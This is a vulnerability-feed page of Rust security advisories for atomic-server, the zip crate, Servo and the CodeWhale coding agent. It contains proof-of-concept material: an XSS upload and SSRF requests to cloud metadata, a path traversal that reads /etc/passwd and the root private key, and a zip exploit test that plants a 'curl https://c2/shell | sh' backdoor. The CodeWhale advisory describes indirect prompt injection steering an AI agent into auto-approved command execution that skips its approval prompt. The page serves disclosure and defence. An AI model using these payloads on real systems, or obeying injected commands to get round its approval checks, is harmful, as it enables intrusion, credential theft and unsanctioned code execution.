Rust vulnerabilities
Historical data is still loading (NVD, last 30 days): counts will keep growing over the next hours. See source status.
In the last 30 days, 18 Rust vulnerabilities were published: 2 critical, 0 actively exploited. Most common weakness: improper input validation (CWE-20).
CVSS score: 9.8
Severity: Critical
Identifier: CVE-2026-69157GHSA-PFWX-XJP4-QXCJ
Atomic Server: Unauthenticated /setup invite grants write access to the entire Drive
Package: atomic-server (>= 0.29.0, <= 0.40.1)
Published Published
Summary
atomic-server provisions a well-known invite at {server}/setup with write = true, target = the Drive root, and usagesLeft = 1. Invite redemption ignores the redeemer's identity (for_agent: _ in server/src/plugins/invite.rs:22), so possession of the URL is the only requirement. An unauthenticated attacker who sends GET /setup?public-key=<attacker_key> has the server create a new Agent and grant it write access to the entire Drive. On a freshly deployed (not-yet-claimed) instance this is a full server takeover with no credentials.
Severity
Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8). No authentication required; grants attacker-controlled write over all resources in the Drive.
Affected component
server/src/appstate.rs— creates the/setupinvite targeting the Drive root withwrite=true,usagesLeft=1.server/src/plugins/invite.rs:14-173—construct_invite_redirectdestructuresfor_agent: _(redeemer identity discarded);?public-key=→Agent::new_from_public_key→add_rights(agent, target, write=true).
Steps to Reproduce
Environment: joepmeneer/atomic-server:develop in Docker, http://localhost:9883, fresh store. No auth headers are used.
-
Confirm the invite is live —
GET /setup(Accept:application/ad+json) showsinvite/write = true,invite/target = http://localhost:9883(Drive root),usagesLeft = 1. -
Redeem it anonymously with an attacker-generated ed25519 public key:
GET /setup?public-key=q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM%3D HTTP/1.1
Host: localhost:9883
Accept: application/ad+json
Response 200 OK returns a Redirect confirming the new agent:
{
"https://atomicdata.dev/properties/invite/redirectAgent":
"http://localhost:9883/agents/q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM=",
"https://atomicdata.dev/properties/isA": ["https://atomicdata.dev/classes/Redirect"]
}
GET /shows the attacker is now in the Drive'swritearray:
"https://atomicdata.dev/properties/write": [
"http://localhost:9883/agents/+/KwsAmyzc7S/...", // legit root
"http://localhost:9883/agents/q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM=" // ATTACKER
]
- The attacker signs a normal Commit (ed25519 over the JCS-canonical commit) and
POST /commit(200) — the Drive root was successfully edited. Write access proven.
Expected: /setup must require operator authentication / a one-time secret.
Actual: Any unauthenticated client on the network redeems it and gains Drive-wide write.
Impact
Unauthenticated write to the entire Drive: read/modify/delete any resource, create/alter Agents, reconfigure permissions. This is a complete takeover on a fresh deployment. (It also serves as the entry point of a larger chain: with write access, an attacker can read the server root private key and impersonate root — reported separately.)
Remediation
- Require a one-time secret (printed to stdout at startup) or operator authentication to redeem
/setup. - Invalidate
/setupafter first use with an atomicusagesLeftdecrement (sled transaction) — the current read-check-decrement is a TOCTOU that allows a single-use invite to be redeemed multiple times concurrently. - Fix the inverted invite-expiry check in
invite.rs(if expires > now { reject }is backwards, so expired invites remain redeemable and valid ones are rejected).
- Exploitation
- No known exploitation
- EPSS
- 0.51% chance of exploitation in the next 30 days, higher than 36.9% of CVEs
- CVSS
- 9.8 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Versions
- >= 0.29.0, <= 0.40.1
- Weakness
- CWE-306
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 18, 2026 · first seen here 2 min ago
CVSS score: 9.4 Severity: Critical Identifier: CVE-2026-115905GHSA-M665-V7PM-7GRJ zip: Critical Parser Differential & Security Control Bypass via Dual-Header Inconsistencies (Zip Cloaking) Leading to Arbitrary File Overwrite & RCE Package: zip fixed in 9.0.5 Published Published
Summary
A critical architectural parser differential exists in the zip crate (<= 9.0.4) between random-access archive readers (ZipArchive) and streaming readers (ZipStreamReader). ZipArchive considers the Central Directory File Header (CDFH) authoritative and ignores the filename declared in the Local File Header (LFH). In contrast, ZipStreamReader relies exclusively on the Local File Header (LFH) when extracting files to the filesystem.
This discrepancy enables ZIP archives to appear to have different file paths and contents according to which tool is reading them.
Details
Architectural Root Cause
In the PKWARE ZIP archive format, every file entry is defined in two distinct locations:
- Local File Header (LFH): Precedes the compressed payload of each file in the body of the archive.
- Central Directory File Header (CDFH): Stored in a contiguous index at the end of the archive.
In zip2:
src/read/zip_archive.rs:ZipArchiveparses the central directory intoSharedBuilder.files. All file lookups by index or name read exclusively from the CDFH table, completely ignoring the filename present in the LFH.src/read/stream.rs:L86-L141:ZipStreamReader::visitandZipStreamReader::extractread sequentially from the stream without verifying the central directory index. Each entry is parsed viaread_zipfile_from_streamand written to disk using the unverified filename declared in the LFH:// src/read/stream.rs fn visit_file<R: Read>(&mut self, file: &mut ZipFile<'_, R>) -> ZipResult<()> { file.safe_prepare_path(&self.outpath, &mut outpath, None::<&(_, fn(&Path) -> bool)>)?; let mut outfile = fs::File::create(&outpath)?; io::copy(file, &mut outfile)?; Ok(()) }src/write.rs:L1552: The crate explicitly exposesshallow_copy_file, an API that constructs dual-header desynchronizations by adding a new CDFH entry with an alias name pointing to an existing file without updating the original LFH.
Threat Scenario & Severity Justification (10.0 / 9.9 Critical)
- Security Control Evasion: An adversary crafts a ZIP archive where:
- Central Directory Header declares:
doc_report.pdf(Clean document) - Local File Header declares:
cron_worker.sh(Malicious root backdoor)
- Central Directory Header declares:
- The archive is uploaded through a web portal or API endpoint protected by security gateways (WAF, Anti-Virus, Content Disarm & Reconstruction). The security gateway inspects the archive using
ZipArchive(or similar CDFH-first parsers), detects onlydoc_report.pdf, and approves the file. - The backend worker or cloud function receives the approved archive and extracts it using
ZipStreamReader::extract.ZipStreamReaderreads the LFH and overwritescron_worker.sh. - Full Compromise (CIA = High): The legitimate production health checker / service script is destroyed (Availability = High / DoS), while the attacker's backdoor payload is implanted (Integrity = High / RCE).
Proof of Concept
The following automated integration test reproducibly demonstrates the complete CVSS 10.0 / 9.9 exploit chain (Security Gateway Evasion -> Arbitrary File Overwrite -> RCE & DoS) against zip2:
use std::fs;
use std::io::{Cursor, Write};
use tempfile::tempdir;
use zip::unstable::stream::ZipStreamReader;
use zip::write::SimpleFileOptions;
use zip::{ZipArchive, ZipWriter};
// Simulated Security Gateway (inspects CDFH via ZipArchive)
fn security_gateway_inspection(archive_bytes: &[u8]) -> Result<(), String> {
let mut archive = ZipArchive::new(Cursor::new(archive_bytes)).unwrap();
for i in 0..archive.len() {
let name = archive.by_index(i).unwrap().name().unwrap().to_string();
if name.ends_with(".sh") || name.ends_with(".exe") {
return Err(format!("MALWARE DETECTED: '{}' blocked!", name));
}
if !name.ends_with(".pdf") {
return Err("Policy violation: only PDFs allowed!".into());
}
}
Ok(())
}
#[test]
fn test_cvss_9_9_dual_header_exploit_chain() {
// 1. Victim server setup: existing critical script
let victim_env = tempdir().unwrap();
let victim_dir = victim_env.path();
let target_script = victim_dir.join("cron_worker.sh");
fs::write(&target_script, b"#!/bin/sh\n# PRODUCTION SERVICE\necho 'SERVICE HEALTHY'\n").unwrap();
// 2. Attacker crafts Single-Entry Dual-Header Archive
// LFH: "cron_worker.sh" | CDFH: "doc_report.pdf"
let mut payload = Cursor::new(Vec::new());
let mut writer = ZipWriter::new(&mut payload);
writer.start_file("cron_worker.sh", SimpleFileOptions::default()).unwrap();
writer.write_all(b"#!/bin/sh\ncurl -s https://c2/shell | sh\necho 'PWNED ROOT'\n").unwrap();
writer.finish().unwrap();
let mut malicious_zip = payload.into_inner();
let cdh = malicious_zip.windows(4).position(|s| s == b"PK\x01\x02").unwrap();
malicious_zip[cdh + 46..cdh + 46 + 14].copy_from_slice(b"doc_report.pdf");
// 3. Gateway Inspection (Bypassed!)
assert!(security_gateway_inspection(&malicious_zip).is_ok());
// 4. Backend Extraction (ZipStreamReader)
ZipStreamReader::new(Cursor::new(&malicious_zip)).extract(victim_dir).unwrap();
// 5. Impact Verification
let compromised = fs::read_to_string(&target_script).unwrap();
assert!(!compromised.contains("SERVICE HEALTHY")); // DoS Confirmed
assert!(compromised.contains("PWNED ROOT")); // RCE Confirmed
}
Verified Test Execution Output
running 1 test
==================================================================
[CVSS 9.4 EXPLOIT PROOF] Dual-Header Security Gateway Evasion
Exploit Chain: Gateway Evasion -> Arbitrary Overwrite -> RCE & DoS
==================================================================
[VICTIM SERVER STATE - BEFORE ATTACK]
Existing Content:
SERVICE IS RUNNING NORMALLY
--- [STEP 1: SECURITY GATEWAY INSPECTION] ---
[SECURITY GATEWAY] Auditing entry #0: 'doc_report.pdf'
[GATEWAY VERDICT]: Ok(())
[VULNERABILITY PROOF 1/3]: Security gateway was 100% BLIND to 'cron_worker.sh'!
--- [STEP 2: BACKEND EXTRACTION (ZipStreamReader)] ---
Backend server unzips approved archive into production directory.
--- [STEP 3: POST-ATTACK IMPACT VERIFICATION] ---
[VICTIM SERVER STATE - AFTER ATTACK]
Compromised Content:
curl -s https://attacker.c2/shell | sh
echo 'PWNED: FULL ROOT TAKEOVER'
==================================================================
[CVSS 9.4 CRITICAL METRICS EMPIRICALLY CONFIRMED]
1. AV:Network, PR:Low, UI:None: Remote unauthenticated gateway submission. Victim process must have write access to the files it is being made to overwrite or the location where it is to plant new files.
2. Security Gateway Evasion: Scanners inspecting CDFH see benign PDF.
3. Arbitrary File Overwrite (VI:High): Existing system scripts replaced.
4. Service Destruction (VA:High): Critical production scripts wiped out.
5. Remote Code Execution (VC:High / SC:High / SI:High): C2 root shell planted.
=> VERIFIED SCORE: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L = 9.9 CRITICAL
==================================================================
test test_cvss_9_9_dual_header_exploit_chain ... ok
Impact
An attacker can construct a crafted archive whose Central Directory displays a benign filename (doc_report.pdf) that is inspected and approved by upstream security gateways (antivirus scanners, mail filters, upload firewalls), while automated backend ingestion pipelines or microservices using ZipStreamReader extract an arbitrary or malicious file (overwriting e.g. cron_worker.sh or critical system binaries). Because an adversary can overwrite existing files on disk, this vulnerability leads to Security Control Bypass, Arbitrary File Overwrite, Complete Denial of Service, and Remote Code Execution (RCE) in situations where a tool relying on the central directory trusts a tool that relied on the local file headers or vice-versa.
Vulnerability Class: Interpretation Conflict (CWE-436) / Security Control Bypass / Arbitrary File Overwrite / Remote Code Execution.
Who is Impacted:
- Automated ingestion microservices, SaaS platforms, and backend workers that extract user-submitted ZIP files.
- Enterprise architectures where security verification (AV scanning, extension whitelisting) is decoupled from extraction (e.g. gateway audits Central Directory via CDFH before handing off extraction to streaming extractors).
- Containerized workloads where overwriting local configuration files or executable scripts leads to host/container escape and complete service disruption.
- Exploitation
- No known exploitation
- EPSS
- 0.51% chance of exploitation in the next 30 days, higher than 36.4% of CVEs
- CVSS
- 9.4 out of 10 · source GitHub
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L - Versions
- <= 9.0.4 · fixed in 9.0.5
- Weakness
- CWE-20, CWE-436
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Oct 28, 2026 · first seen here 1 min ago
CVSS score: 8.7
Severity: High
Identifier: CVE-2026-69155GHSA-X277-3WCG-G9R2
Atomic Server: Stored XSS via uploaded files served inline (same-origin) on /download → account takeover
Package: atomic-server (>= 0.30.0, <= 0.40.1)
Published Published
Summary
Files uploaded via POST /upload are served back by GET /download/{path} using actix_files::NamedFile. For text/html and image/svg+xml, actix-files (0.6.6) sets Content-Disposition: inline, so the browser renders the file instead of downloading it. The /download route sets no Content-Security-Policy, no X-Content-Type-Options: nosniff, and no forced attachment (CSP exists only on the SPA route), and files are served from the same origin as the app UI. An authenticated Agent uploads evil.html containing <script>; when a victim opens the link, the script executes in the app origin. Because the atomic_session cookie is set via document.cookie (not HttpOnly) and the Agent's Ed25519 private key is stored in same-origin IndexedDB (browser/data-browser/src/helpers/agentStorage.ts), the script exfiltrates the private key → permanent account takeover.
Affected component
server/src/handlers/upload.rs— stores the file; mimetype guessed from extension.server/src/handlers/download.rs:65—NamedFile::open(...).into_response(req)with no CSP/nosniff/attachment; CSP is only set inserver/src/handlers/single_page_app.rs.
Steps to Reproduce
Environment: joepmeneer/atomic-server:develop, http://localhost:9883. Attacker is any Agent with write on a folder.
- Upload an HTML file (multipart, with signed auth headers):
POST /upload?parent=http://localhost:9883 HTTP/1.1
Host: localhost:9883
x-atomic-public-key: <pubkey>
x-atomic-agent: http://localhost:9883/agents/<pubkey>
x-atomic-timestamp: <ms>
x-atomic-signature: <ed25519("http://localhost:9883/upload?parent=http://localhost:9883 <ms>")>
Content-Type: multipart/form-data; boundary=----poc
------poc
Content-Disposition: form-data; name="assets"; filename="xss.html"
Content-Type: text/html
<html><body><script>alert(document.domain)</script>STORED-XSS-PROOF</body></html>
------poc--
Response 200 returns a downloadURL, e.g. http://localhost:9883/download/files/<ts>-xss.html.
- Inspect how the server serves it:
$ curl -D - http://localhost:9883/download/files/<ts>-xss.html
HTTP/1.1 200 OK
content-type: text/html; charset=utf-8
content-disposition: inline; filename="<ts>-xss.html"
# (no Content-Security-Policy, no X-Content-Type-Options)
text/html + inline + no CSP/nosniff + same origin → the browser executes the uploaded HTML/JS in the app origin. image/svg+xml behaves identically.
- The attacker sends the link to a victim. On open, the script runs same-origin and reads
document.cookie(session is not HttpOnly) and the Ed25519 private key from IndexedDB → signs Commits as the victim indefinitely.
Expected: user files served with Content-Disposition: attachment + nosniff, or from an isolated origin.
Actual: served inline, text/html, same origin, no CSP/nosniff → stored XSS executes.
(Confirmed at the HTTP layer in the lab: content-type, disposition, missing CSP/nosniff, same origin, and the intact <script> body. In-browser execution and IndexedDB key theft follow directly from these response headers.)
Impact
Stored XSS in the app origin → theft of the victim's session cookie (not HttpOnly) and Ed25519 private key from IndexedDB → permanent account takeover (not limited by the 10-second token window). If the victim is an admin/root Agent, this is server takeover.
Remediation
- On
/download, forceContent-Disposition: attachmentfor user files, addX-Content-Type-Options: nosniff, and asandboxCSP. - Serve user-uploaded files from a separate origin/subdomain.
- Set
HttpOnly+Secureon the session cookie; do not persist the private key in JS-readable storage.
- Exploitation
- No known exploitation
- EPSS
- 0.43% chance of exploitation in the next 30 days, higher than 29.0% of CVEs
- CVSS
- 8.7 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N - Versions
- >= 0.30.0, <= 0.40.1
- Weakness
- CWE-79
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 18, 2026 · first seen here 2 min ago
CVSS score: 8.6 Severity: High Identifier: CVE-2026-69158GHSA-FF87-73JP-F3V4 Atomic Server: Unauthenticated full-response SSRF in Atomic-Server /bookmark endpoint Package: atomic-server (<= 0.40.1) Published Published
Summary
Atomic-Server exposes a GET /bookmark endpoint that fetches an attacker-supplied URL server-side, parses the response, and reflects the fetched content back to the caller. The endpoint requires no authentication and performs no authorization of its own, and the underlying fetch helper applies no allow-list or private-IP deny-list. An unauthenticated attacker with network reach to the server can force it to issue arbitrary outbound HTTP GET requests to internal-only hosts (loopback services, internal admin panels, link-local cloud-metadata) and read the response body back. This is a full-response SSRF, not a blind one.
Root cause (source trace)
- The bookmark endpoint is registered unconditionally for every server:
server/src/appstate.rs:69(store.add_endpoint(plugins::bookmark::bookmark_endpoint())). - An unauthenticated caller on the standard GET route becomes
ForAgent::Public:server/src/helpers.rs:168-183(get_client_agent). - In
get_resource_extended, when the subject matches an endpoint path the function returns viacall_endpointBEFORE thehierarchy::check_readauthorization call:lib/src/db.rs:1010-1017(if is_endpoint { return self.call_endpoint(...) }, andcheck_readsits just after at :1017, never reached). call_endpointperforms no authorization itself; it only matches the path and invokes the handler:lib/src/db.rs:662-706.- The bookmark handler discards the caller (
for_agent: _) and fetches theurlquery parameter directly:server/src/plugins/bookmark.rs:45-76(let content = fetch_data(&path)?;). fetch_bodyvalidates onlyurl.starts_with("http"):lib/src/client/helpers.rs:78-91. A repo-wide grep finds nois_loopback/is_private/127.0.0.1/169.254/localhostdeny-list anywhere inlib/srcorserver/src, and no host allow-list.- The fetched body is HTML-parsed and written into the resource
name,description,imageandpreview(markdown) fields, which are returned to the caller:server/src/plugins/bookmark.rs:79-110. This is what makes it a full-response (not blind) SSRF; even plaintext internal responses are wrapped into the preview markdown.
Proof of concept (unauthenticated)
GET /bookmark?url=http://127.0.0.1:<internal-port>/&name=x # internal loopback service
GET /bookmark?url=http://169.254.169.254/latest/meta-data/&name=x # IMDSv1 cloud metadata
No authentication headers. The returned resource reflects the fetched content in its name / description / preview fields, so the attacker reads the internal target's response body.
Proof of omission
The endpoint-dispatch path returns at lib/src/db.rs:1011 (return self.call_endpoint(...)) before the check_read call at :1017, and there is no authorization inside call_endpoint (:662-706). The handler discards the caller (for_agent: _, bookmark.rs:49), so the endpoint can never enforce per-agent access. fetch_body validates only url.starts_with("http") (helpers.rs:83); no loopback/private/link-local deny-list exists anywhere in the source. No corresponding SSRF/security entry exists in CHANGELOG.md.
Impact
An unauthenticated attacker with network reach to the server can:
- read internal-only HTTP services not exposed to the internet (admin panels, dashboards, unauthenticated microservices on loopback or the private network);
- read cloud metadata reachable via plain GET (IMDSv1 and similar), enabling potential credential disclosure in affected deployments;
- enumerate internal services / ports from the server's vantage point via differing timeout/error behaviour.
Because the response body is reflected, this is a high-value full-response SSRF. The only precondition is network reach to the server.
Severity: High, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N = 8.6.
Honest caveats (do not refute the finding): the ureq client uses a 2-second timeout, which limits slow targets; AWS IMDSv2 requires a PUT token, so plain GET metadata retrieval may fail there. IMDSv1 and any internal HTTP service or admin panel that answers a plain GET remain fully reachable and reflected.
Remediation
Add a central SSRF guard inside fetch_body (lib/src/client/helpers.rs): resolve the target host and reject loopback, link-local, RFC1918 private, CGNAT and unique-local ranges, and reject non-http(s) schemes. Re-validate after DNS resolution (to prevent DNS-rebinding) and after each redirect hop. Enforce authorization on endpoint dispatch: run check_read (or a per-endpoint policy) for outbound-fetching endpoints instead of short-circuiting before it at lib/src/db.rs:1010-1012, and at minimum require an authenticated, authorized agent for /bookmark. Optionally add an operator-configurable allow-list of fetchable hosts.
Dedup
- atomicdata-dev/atomic-server GitHub Security Advisories: no published advisories (re-verified 2026-07-03). No CVE/GHSA for atomic-server SSRF / the /bookmark endpoint.
- Source re-verified on current
develop2026-07-03: the handler still discards the caller (for_agent: _) and callsfetch_data(url), andfetch_bodystill validates onlyurl.starts_with("http")with no private-IP deny-list (still vulnerable).
Credit / disclosure
Reported by Ray Sabee, Whitehat Security (https://whitehatsecurity.nl/), GitHub @raysabee. Please credit "Ray Sabee / Whitehat Security / whitehatsecurity.nl" on the advisory and in any release notes. Coordinated disclosure: nothing will be published before a fix is available.
Note: two related findings exist in the same repo and can be handled in this advisory or alongside it: F-ATOMIC-SSRF-002 (a blind pre-auth SSRF in POST /import via the SAME fetch_body root cause, so one central fix covers both) and F-ATOMIC-LFI-001 (authenticated path-traversal file read in GET /download, a separate sink in download.rs).
- Exploitation
- No known exploitation
- EPSS
- 0.48% chance of exploitation in the next 30 days, higher than 34.0% of CVEs
- CVSS
- 8.6 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Versions
- <= 0.40.1
- Weakness
- CWE-918
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 18, 2026 · first seen here 2 min ago
CVSS score: 8.3 Severity: High Identifier: CVE-2026-61713GHSA-PXH3-4QQV-58MG Servo Sandbox bypass: declarative refresh can auto-navigate a sandboxed iframe Package: servo fixed in 0.3.0 Published Published
A sandboxed iframe can auto-navigate itself via declarative refresh even when automatic features should be blocked. This allows attacker-controlled embedded content to redirect itself without user action.
Summary
Servo allows a sandboxed iframe to auto-navigate itself via declarative refresh in configurations that should block automatic features.
The issue reproduces in the must-block rows of the matrix:
sandbox=""sandbox="allow-same-origin"sandbox="allow-forms"sandbox="allow-same-origin allow-forms"
This is a client-side sandbox-policy bypass. It does not by itself prove script execution or parent DOM access, but it does let attacker-controlled sandboxed content redirect itself without user action.
Details
The declarative refresh path is missing sandbox enforcement:
- [components/script/dom/document/document.rs:239]
RefreshRedirectDue::invoke()containsTODO: check sandbox - [components/script/dom/document/document.rs:4522] the refresh scheduler contains
TODO: handle active sandboxing flag
The implementation currently schedules and executes the refresh without enforcing the sandboxed automatic-features restriction described by the HTML spec comments in the same code.
What I observed:
- In Servo, the must-block rows above navigated successfully.
- In Chrome, the same rows were blocked.
PoC
Serve the HTML files in this folder over HTTP.
Files:
Steps:
- Open
viewer.htmlover HTTP. - The page shows a visible sandboxed iframe.
- In a correct browser, the iframe stays on
child.html. - In Servo, the iframe visibly turns into the
success.htmlpage.
Impact
This is a client-side sandbox-policy bypass.
Confirmed impact:
- autonomous iframe self-navigation in sandbox configurations that should block it
- framed phishing / content swap after initial render
- redirect loops / annoyance / limited DoS
- Exploitation
- No known exploitation
- EPSS
- 0.59% chance of exploitation in the next 30 days, higher than 42.0% of CVEs
- CVSS
- 8.3 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L - Versions
- < 0.3.0 · fixed in 0.3.0
- Weakness
- CWE-693
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 19, 2026 · first seen here 2 min ago
CVSS score: 8.1 Severity: High Identifier: CVE-2026-83816GHSA-3MGH-93R5-R7JF CodeWhale: exec_shell parallel-readonly classifier auto-approves fd/rg/git grep exec flags enabling silent RCE Package: codewhale-tui fixed in 0.9.0 Published Published
Maintainer resolution
The CodeWhale maintainers validated this report. CodeWhale 0.8.67 and earlier are affected. Version 0.9.0 contains the fix in commit 208421b9d23d81cea3311a1eeb2a2ea81d637686. Users should upgrade to 0.9.0 or later. The original reporter analysis is preserved below.
Summary
The interactive Agent profile of DeepSeek-TUI (CodeWhale) is explicitly documented to gate every shell command behind an approval prompt (config.rs:3725-3736). However, ExecShellTool::approval_requirement_for(&tool_input) downgrades the requirement from Required to Auto for any command the classifier deems "parallel read-only" (shell.rs:2314-2320). registered_tool_approval_required returns false for Auto before the auto_approve check runs (turn_loop.rs:37-38), so no prompt is shown even for a user who never enabled YOLO. The classifier is_parallel_readonly_command (command_safety.rs:389) rejects only shell metacharacters and then matches the flag-stripped base command name against an allowlist that includes fd, rg, and git grep. Those tools execute arbitrary external programs through documented flags (fd -x/--exec, rg --pre, git grep --open-files-in-pager) that need no shell metacharacters — yielding silent arbitrary-program execution in the default profile. Same silent-RCE class as CVE-2026-45311 (run_tests) but via a different, unpatched tool and code path.
Root Cause
approval_requirement_for downgrades exec_shell to Auto when exec_shell_input_is_parallel_readonly returns true (shell.rs:2314-2320). The classifier strips all flags and matches the base command name against PARALLEL_READONLY_PREFIXES (command_safety.rs:363-385, 419-433). fd/rg are absent from COMMAND_ARITY, so fd -x cp {} /tmp/exfil canonicalizes to "fd" ∈ allowlist. The only remaining gate at the execute sink is analyze_command, which rates fd/rg as Safe (SAFE_COMMANDS command_safety.rs:527,530), so the SafetyLevel::Dangerous-only block (shell.rs:2408) never fires. Default execpolicy is empty (engine.rs:494) → Skip. Interactive-origin auto_review safety_floor holds only Publish (auto_review.rs:344-357), not interactive shell.
Impact
Arbitrary external program execution (any binary, any argv, including a repo-committed script) on the developer host, with no approval prompt, in the default interactive Agent profile — bypassing the boundary config.rs:3725-3736 explicitly promises. Identical outcome to seed CVE-2026-45311 via a different, unpatched tool.
Proof of Concept
Model coerced (via indirect prompt injection from repo file / issue / fetched page — the seed threat model, in scope per SECURITY.md:48) to emit:
{"name":"exec_shell","arguments":{"command":"fd -u -tf -x ./pwn.sh"}}
Alternatives (all metachar-free, all auto-approved): fd -tf -x cp {} /tmp/exfil; rg --pre /tmp/evil.sh --pre-glob '*' needle .; git grep --open-files-in-pager=/tmp/evil.sh needle.
Attack Chain
- Entry. Agent ingests attacker-controlled content; injected instruction coerces the model to emit
exec_shell {"command":"fd -u -tf -x ./pwn.sh"}.- Guard: none — reading content and model tool-calls are by design (seed threat model: indirect prompt injection).
- Bypass proof: n/a (in-scope by design per SECURITY.md:48).
- Gate — approval requirement. turn_loop.rs:1738 →
spec.approval_requirement_for(&input)→ shell.rs:2314-2320exec_shell_input_is_parallel_readonly.- Guard: metachar filter (command_safety.rs:394-400) + base-name allowlist.
- Bypass proof: the string contains none of
; & | > < \$(or newlines;-x <program> <args>isfd's own exec mechanism (no shell).classify_commandstrips-u -tf -x, positionals[fd, ./pwn.sh];fd∉COMMAND_ARITY→ canonical"fd"∈PARALLEL_READONLY_PREFIXES→ returns true. Maintainer testparallel_readonly_command_classifier_is_strict(command_safety.rs:1162+) confirms barefd/rg` classify parallel-readonly.
- Gate — prompt decision.
registered_tool_approval_required(name, Auto, auto_approve).- Guard: the approval prompt itself.
- Bypass proof:
requirement == Autoreturnsfalseat turn_loop.rs:37-38 unconditionally, before!auto_approve. No prompt regardless of user settings. Empty execpolicy → Skip; interactive safety_floor returns NoChange for fd.
- Sink.
ExecShellTool::execute(shell.rs:2334) →analyze_command.- Guard:
SafetyLevel::Dangerousblock (shell.rs:2408). - Bypass proof:
fd∈SAFE_COMMANDS(command_safety.rs:530) →analyze_commandreturnsSafe; notDangerous→ not blocked. Child runs the attacker's program.
- Guard:
- Impact. Silent arbitrary-program execution on the developer host, no approval prompt, default interactive Agent profile.
Bypass Evidence
- Present on latest release tag v0.8.67: turn_loop.rs:37-38
Auto→return false; shell.rs:2314-2320 override; command_safety.rs allowlist includes"rg","fd","git grep"; SAFE_COMMANDS includes"rg","fd";fd/rgabsent fromCOMMAND_ARITY. command_safety.rs / turn_loop.rs finding-critical functions byte-identical v0.8.67↔HEAD. - Maintainer's own test
parallel_readonly_command_classifier_is_strictconfirms barerg/fdclassify parallel-readonly and only metachar forms are rejected.
Affected Versions
<= 0.8.67 (present on latest release tag v0.8.67 and HEAD 6a3403e).
Suggested Fix
Remove exec-capable tools (fd, rg, git grep) from PARALLEL_READONLY_PREFIXES, or make the classifier reject their exec flags (-x/--exec, --pre, --open-files-in-pager), so a code-executing invocation cannot be auto-approved as read-only.
Reported by zx (Jace)
- Exploitation
- No known exploitation
- EPSS
- 0.64% chance of exploitation in the next 30 days, higher than 45.0% of CVEs
- CVSS
- 8.1 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Versions
- <= 0.8.67 · fixed in 0.9.0
- Weakness
- CWE-78, CWE-863
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 19, 2026 · first seen here 2 min ago
CVSS score: 8.1
Severity: High
Identifier: CVE-2026-69156GHSA-8VC4-8HJQ-988P
Atomic Server: Arbitrary file read via user-controlled internalId in the /download handler (leaks root agent private key)
Package: atomic-server (>= 0.30.0, <= 0.40.1)
Published Published
Summary
The Commit apply path enforces no allowlist of writable properties, so any authenticated Agent can set the internalId string (datatype string, no character validation) on a resource it owns. The /download handler then uses that value verbatim as a filesystem path — file_path.push(internal_id); NamedFile::open(file_path) — with no sanitization and no containment check (server/src/handlers/download.rs:56-65). By setting internalId to a traversal path (../../../../etc/passwd) or an absolute path (PathBuf::push of an absolute path replaces the buffer), an attacker reads any file on the host. The highest-value target is the server config file storing the root agent private key, which yields full server compromise. Only the upload path sanitizes filenames (sanitize_filename); the download path trusts the stored value. The handler also never checks that the resource is a File.
Affected component
server/src/handlers/download.rs:56-65—file_path.push(internal_id)+NamedFile::open, no sanitization, noFile-class check.lib/src/commit.rs(apply_changes) — sets any property; no server-managed-property denylist.
Steps to Reproduce
Environment: joepmeneer/atomic-server:develop, http://localhost:9883. Attacker is any Agent with write on a parent (self-signup, or via the /setup issue reported separately).
- Create a resource and set
internalIdto a traversal path — sign the Commit andPOST /commit(200):
subject = http://localhost:9883/pwnfile
set = {
"https://atomicdata.dev/properties/parent": "http://localhost:9883",
"https://atomicdata.dev/properties/internalId": "../../../../../../../../etc/passwd"
}
- Download it. The auth signature is over the resolved subject (the server strips the
/downloadprefix →http://localhost:9883/pwnfile):
GET /download/pwnfile HTTP/1.1
Host: localhost:9883
x-atomic-public-key: <pubkey>
x-atomic-agent: http://localhost:9883/agents/<pubkey>
x-atomic-timestamp: <ms>
x-atomic-signature: <ed25519("http://localhost:9883/pwnfile <ms>")>
Response 200 OK returns the host /etc/passwd:
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
- Escalate — set
internalId = /atomic-storage/config/config.toml(absolute path) and download again:
server = "http://localhost:9883"
agent = "http://localhost:9883/agents/+/KwsAmyzc7S/..."
private_key = "REDACTED-ROOT-ED25519-PRIVATE-KEY" # server root agent key
- Using the stolen key, the attacker signs a Commit with
signer = <root agent>→POST /commit(200) edits data as root. Full compromise.
Expected: internalId treated as a server-managed property and/or /download canonicalizes and confines the path to uploads_path.
Actual: Arbitrary host file read, including the root private key.
Impact
Arbitrary file read as the server process: /etc/passwd, env, TLS keys, the sled DB, K8s service-account tokens, and the root agent private key → root impersonation → full read/write/delete of all data. Only a standard account is needed.
Remediation
- In
download.rs:sanitize_filename(internal_id), thencanonicalizeand assert the resolved path stays withinuploads_pathbefore opening; verify the resource is aFile. - Add a server-managed-property denylist (
internalId, rights arrays, etc.) inlib/src/commit.rsso clients cannot set them.
- Exploitation
- No known exploitation
- EPSS
- 0.49% chance of exploitation in the next 30 days, higher than 35.1% of CVEs
- CVSS
- 8.1 out of 10 · source GitHub
